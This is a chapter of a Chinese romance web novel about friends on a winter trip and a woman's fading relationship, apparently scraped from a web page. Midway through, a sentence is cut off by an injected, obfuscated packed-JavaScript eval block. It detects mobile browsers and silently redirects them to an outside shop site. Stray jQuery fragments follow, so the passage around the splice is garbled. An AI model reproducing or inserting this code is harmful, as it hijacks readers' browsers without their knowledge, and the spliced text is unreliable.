第73章 顾峻川:冬日的狂欢
    顾峻川和苏景秋在漠河被冻麻了。白天零下二三十度,体感快刷新顾峻川在根河的温度了。俩人出去走十分钟帽子上睫毛上就挂白霜。

    “你的炮火连天呢?”顾峻川一边小跑一边问苏景秋:“这么冷家伙事儿都能冻掉。”

    苏景秋下意识伸手捂了一下□□:“你别说了,我怎么觉得有点疼?咱俩快回酒店吧。”转身小跑回酒店,看到路边有游客在泼水成冰由衷敬佩了一下。酒店大堂里坐着一群年轻人大前天刚出发时候就碰到过

    “肯定是看上你了。”苏景秋跟顾峻川进电梯:“昨天问我咱俩是不是同性恋不然为什么一起出来玩。”

    “你怎么说?”

    “我说是。”苏景秋有点不服:“这么冷我没心思搞那些没用的了。我只想让我的大兄弟全身全尾地跟我回北京。”

    回到房间后像大学时代一样一起打游戏骂队友傻逼,又叫了餐送到房间里。

    雪从中午开始下,俩人捧着热茶坐在沙发上看雪,外面漂亮极了。

    “你说…咱俩要是出去玩一会儿…回来鸡儿还能在吗?”苏景秋问。

    “…你都用不上,你管它在不在呢!”

    “我可以不用,但它得有啊…”

    顾峻川要被苏景秋逗死了。有时会庆幸,如果没这么个朋友好多时候日子真是会少了几分乐趣。心理建设完就出去玩雪,下雪的漠河市太美了两个人穿得像粽子,站在十字路口辨别方向。顾峻川说:“明天就顺着这个方向走,去北极村。”

    “非常可以。我现在感觉不冷了,我活过来了。”

    顾峻川的脚在雪地上随便划拉,写完了才发现自己划拉的依稀是一个落字。苏景秋凑过来看,摇摇头:“你怎么还玩纯情少年那套呢?你是真喜欢还是不服输?”

    “这么冷的天说谎鼻子掉。”苏景秋又加了一句。

    顾峻川过了很久才说:“真喜欢。没有原因。”

    “那你真够惨的。”苏景秋说:“比我还惨呢。”

    说话的时候呼出的气都变成了白烟两个人故意哈了一会儿跟傻帽一样倒是管用心情好了不少。

    “别管了好好玩。”

    “玩一个月吧我不想回北京。”

    “玩到过年。”顾峻川说:“反正你店有人管我公司有我没有我区别都不大玩到年三十那天回去。你

    陪你一大家子吃饭,我飞去云南看我妈。多爽。

    “谁提前走一天谁是孙子!苏景秋撂一句狠话:“我他妈甚至希望等我回去的时候郑良把婚都结了,那我就彻底断了念想了!

    “郑良结不结我不知道,蔺雨落应该结了。顾峻川又呼了一口气,看着白烟向高处飘散,最终散尽:“挺好的。我这人本来就不适合结婚,性格不好、不讨人喜欢。

    “别这么说。你可以找一个更不讨人喜欢的。苏景秋说完哈哈大笑:“今天咱俩整点白的啊?歌里不是唱了吗?-那也得喝二两啊!-

    “喝呗。

    “下雪了,又有鹅要遭殃了。

    两个人的旅途,从一只鹅遭殃开始,突然多彩了起来。

    而蔺雨落的馆里,突然迎来了一波生意低谷,进店学员好像突然某一天开始就少了起来。方柳对蔺雨落说这很正常,因为天冷了好多人不爱出来;加之年底了,精英们都忙着做年终规划。忙了一年了,可以趁这个时间好好调整。

    方柳反正心态好,这个商场的瑜伽馆超出了她和合伙人的预期,这一年的目标提前完成了,又知道反正蔺雨落会想办法,就不太苛责这件事。

    蔺雨落的确是要想办法对抗波谷的。

    她决定拆卡。

    所谓的拆卡就是把一节私教课拆成几节线上课,工作忙的话可以得空练。至于拆成几节,她算了很久,决定拆成四节。先从郑良公司的几个老板开始谈,利用老板们的零散时间带练,至少运动习惯不间断。

    这招挺管用。

    至少大家都有点事情干。

    再闲的时候就搞培训和学习。

    上一年方柳一时兴起买的学习账号只有蔺雨落仔细看了、掌握了,这会儿就派上了用场。先从礼仪讲起、然后是一些基础的色彩学、营销类课程,总之她看过什么就讲什么。被她系统整理过的知识讲出来很有趣,于是每天下午得闲的时间,瑜伽馆的员工坐一排嘻嘻哈哈学知识。

    每一天都很充实。

    有时路过小区附近原来那家待转的瑜伽店,脑子还是会活络一下,会站在那看一会儿。新接手的人做得兢兢业业,生意不算很好,但也不差,一些经营的手段隔三差五也能用上。总之只要肯付出点心血,都是能上路的。事情也不像她当时想的那么复杂,还要跟顾峻川学习才有可能做好。

    蔺雨落意识到很重要的一个问题。那就是人生绝不是这样或那样的极端选择,她以为她做瑜伽馆,要么做好要么做不好,可眼前这

    家,就介于好和不好之间,人家过得也挺好。

    她晚上跟宁风电话的时候说起这个想法,宁风认真听了,但对已经形成的结论无法评价,于是应了几声对、是的,两个人又安静下来。

    蔺雨落其实很怕这样的时候,好像他们无话可说了一样。他们都在费心找下一个话题,几乎同时开口。

    宁风说:“我今天…”

    蔺雨落说:“我今天…”

    因为这个巧合又笑了,蔺雨落说:“你先说。”

    “我今天开会的时候差点睡着了。”

    “是最近太累吗?”

    “应该是。你呢,你今天有什么好玩的事?”

    “我今天啊,发现一家好吃的米线店,改天带你去吃。”

    “好!”

    “那你快忙,见面聊。”

    就这么挂断了电话。

    刚复合的时候是有很多话可以聊的,两个人都好像下了很大决心要把错失的这几年聊回来。那种交心的氛围很好,时而动情时而发笑,动情的时候宁风就抱着她安慰她,发笑的时候两个人就像傻子一样大笑。

    第一次沉默出现在复合后的第二个月。

    他们在家里吃饭,起初在聊宁风的父母来到北京后的生活,说他买的小区大概是一块“风水宝地”,出生的小孩子非常多,比其他小区要密集。宁风父母在小区里遛弯儿看到那么多小孩子,就催宁风结婚。

    蔺雨落问他:“那你怎么说?”

    “我说我还年轻。”

    “也快三十了呢。”蔺雨落玩笑一句,宁风笑了。然后两个人突然就沉默下来。

    这样的沉默其实很磨人,热恋的时候几乎可以忽视,因为有很多其他有趣的事情可以补足。但随着沉默的次数越来越多,他们都觉得哪里不对劲。都拼命想去改进。

    蔺雨落研究宁风的专业,宁风学习一些女孩子可能会喜欢的话题,这样的努力是有一点成效的。但又都隐隐觉得辛苦。

    至于哪里辛苦,他们自己都说不清。

    可当蔺雨舟跟宁风聊天的时候,两个人坐在那里讨论问题,和风细雨和脸红脖子粗随便切换,整个过程几乎没有尿点,完全沉醉完全投入,所谓的“沉默”永远不会有,除非他们都决定停下来思考一会儿。

    蔺雨落会在这个时候把切好的水果放到茶几上,自己去到餐桌边上开电脑做表或者研究行业知识。这样的时候她和他们之间就有了一道屏障。

    从前的她很怕跟人产生这样的屏障,因为这代表一种距

    离。现如今她没那么怕了,她开始意识到屏障或许不是差距,而是人与人兴趣专长领域的不同。比如她现在跟他们聊营养学和瑜伽,他们也未必能听懂。

    吃饭的时候宁风跟蔺雨舟说起过年回家的事,也问蔺雨舟是否有回去的想法,蔺雨舟就说:“我听我姐的,她在哪过年我就在哪过年。”

    “那我们也回去?”蔺雨落说。

    “好啊,回去看同学,也看宁风学长演讲。”

    宁风有点不好意思,他对蔺雨舟解释:“其实就是一个学习动员。可我觉得这样的动员没有必要,好像是在给别人的人生做定义:如果你不考上清大,你的人生就是失败的。我不认同这个观点。我认为每个人都能发光,成绩不好的学生也有他自己的生活,不能因为成绩不好就否定一切。”

    这些话宁风也对父母说过,原话是:我喜欢落落,如果不是她父母去世早,她现在应该也从很好的大学毕业,做很好的工作。她的工作不是问题。

    “别的呢?”

    “别的也不是问题。”

    “那我们完全尊重你。”

    宁风觉得他和蔺雨落之间的感情无比纯粹,他们不受任何外界因素的影响,单纯地爱着对方这个人。因为有少年时代感情的加持,这份爱就显得格外稀有。他甚至在想,如果有一天他们真的结婚了,那他们就真的是“从少年到少年”,十几年如一日的真感情。

    除了偶尔的空白和沉默。

    宁风知道这代表一个小小的问题,他努力解决,倘若解决不了,那其实是可以忽略的。

    宁风有事先走,蔺雨落送蔺雨舟下楼。他们目送宁风的车开走,然后在街上散了会儿步。

    蔺雨落问蔺雨舟是不是在为爱情苦恼,蔺雨舟想了想,终于点头。他害怕看到李斯琳,因为见到李斯琳他会觉得尴尬,他做不到在拒绝李斯琳以后还假装无事发生。

    “岑嘉容呢?”蔺雨落问。

    “我不知道。”蔺雨舟摇头:“我想见到她,跟她一起学习和参加

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099457|87165||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    工作都很快乐,她真的是小太阳。”

    “然后呢?”

    “然后她这个小太阳跟川哥那个大太阳在一起的时候,真的很般配。”

    蔺雨舟是对很多事情困惑的。那时蔺雨落和顾峻川假结婚,这在他们心中都是无法逾越的鸿沟。有那么一段时间,蔺雨舟见到顾峻川会觉得别扭。而顾峻川却好像一切都是平常,没刻意解释也没刻意接近。他报名救援队,他就好好带他,总是朝他胸口捣一拳,对他说:“小伙子,还得练啊

    !”

    这样的顾峻川让蔺雨舟困惑,因为他不是他想象中的坏人。

    他那天翻手机,无意间看到在北戴河的雨夜,顾峻川抱起姐姐冲进雨里,跑得飞快,影子都虚了。他看这张照片的时候又会觉得,或许他们之间的婚姻是有一点感情的。

    他们那样痛快地结束,当时的蔺雨舟不觉得有什么,现在的他又觉得困惑。

    他还会困惑蔺雨落对顾峻川的只字不提,好像她的心原本就是一座钢铁之城,除了原本烙在身上的东西,根本长不出一朵额外的花来。

    “救援队现在还练吗?”蔺雨落问。

    “副队长带着训练和参加活动,川哥出去玩了,说一直玩到过年。”

    “那岑嘉容?”

    “岑嘉容和几个同学,放了寒假后去延边跟他们会和。”

    蔺雨落闻言拍拍蔺雨舟肩膀:“你要不要也一起去玩?你还没有出去玩过。姐姐现在有一点积蓄,可以请你去好不好?”

    “我也攒了点钱。”蔺雨舟本想说他不准备去,但忽然改了主意,其中有很多复杂的想法他自己都说不清:“那我一起去吗?”

    “去!”蔺雨落鼓励蔺雨舟:“喜欢一个人哪有什么可怕,喜欢她就告诉她。好歹要知道结果的,不然心里总是在猜想,这太磨人了。”

    蔺雨舟点点头:“好啊,那我就去!”

    夜班公交缓缓开来,蔺雨舟在上车前莫名说了一句:“姐,你跟宁风学长,会结婚吗?”

    “应该会。”她说。

    “你说了“应该”两个字。”蔺雨舟看了眼公交车:“我走了,姐。那我放假第一天就跟岑嘉容他们几个出发了。”

    “去吧,小舟,要开心。”

    蔺雨落回到家里,查了一下那边的温度,看到网上说要穿最厚的衣服,不然会被冻透。当即给蔺雨舟下单了一件羽绒服到他学校,还买了手套、围巾、帽子,还有一双雪地靴。

    蔺雨舟要出去玩,她比自己出去玩还要开心。

    也因为有了这样的开心,日子就过得飞快。

    圣诞节接连元旦,绿野和L的促销活动搞了一轮又一轮,生意始终兴隆,只有高沛文一个人快要累死,她跟蔺雨落抱怨:“我以为顾峻川要玩十天八天,最多半个月。我怎么知道他要玩一整个冬天?有事根本找不到他人,不是在滑雪就是在开车吃饭,要么就窝在酒店跟苏景秋打游戏,有一天连二人转都看了。也怪了,苏景秋不在,他那餐厅和酒吧的生意一天比一天好…”

    “需要我

    帮你干点什么吗?”蔺雨落有点同情高沛文。

    “你帮我想个办法让顾峻川赶紧滚回来。”

    “那我没有办法。”蔺雨落忙摇头。

    蔺雨舟他们放假后跟顾峻川在延吉集合。

    见面那天顾峻川看到蔺雨舟的一身行头,打趣一句:“你姐的手笔吧?”

    蔺雨舟转了一圈:“能看出来?”

    顾峻川撇撇嘴:“你姐这个人,好像少了一点时尚触觉。也就是你们俩底子都好,不然换个人这么穿,真就…土了。”

    蔺雨舟笑了一声,安心吃烤肉。

    顾峻川出来玩很久,原本把北京的事都要忘干净,结果一看到蔺雨舟心就又乱了。一群人玩玩闹闹的时候他问蔺雨舟:“你姐婚期定了?”

    “婚期?”

    “她不结婚?”

    蔺雨舟想起蔺雨落的“应该会结”,他是世界上最了解她的人。她的“应该”是她心中隐藏很深的不确定:“没定,不结。”

    “?什么意思?”

    “就是直觉。”

    顾峻川笑得很大声,揽过蔺雨舟肩膀,玩笑似地说:“那你再直觉一下,我今天晚上能不能谈恋爱?”

    “跟谁?”

    “岑嘉容。”

    “可你喜欢的是我姐。”

    “谁说了喜欢你姐了?你姐哪点值得我喜欢啊?记得给你姐直播我恋爱盛况,顺道让她祝福她前夫找到真爱了。”

    蔺雨舟急了,大喊一声:“姐夫!”

    顾峻川愣了,一桌子人都愣了,看向他们。

    这饭没法吃了,这声“姐夫”让顾峻川的心一下子乱了!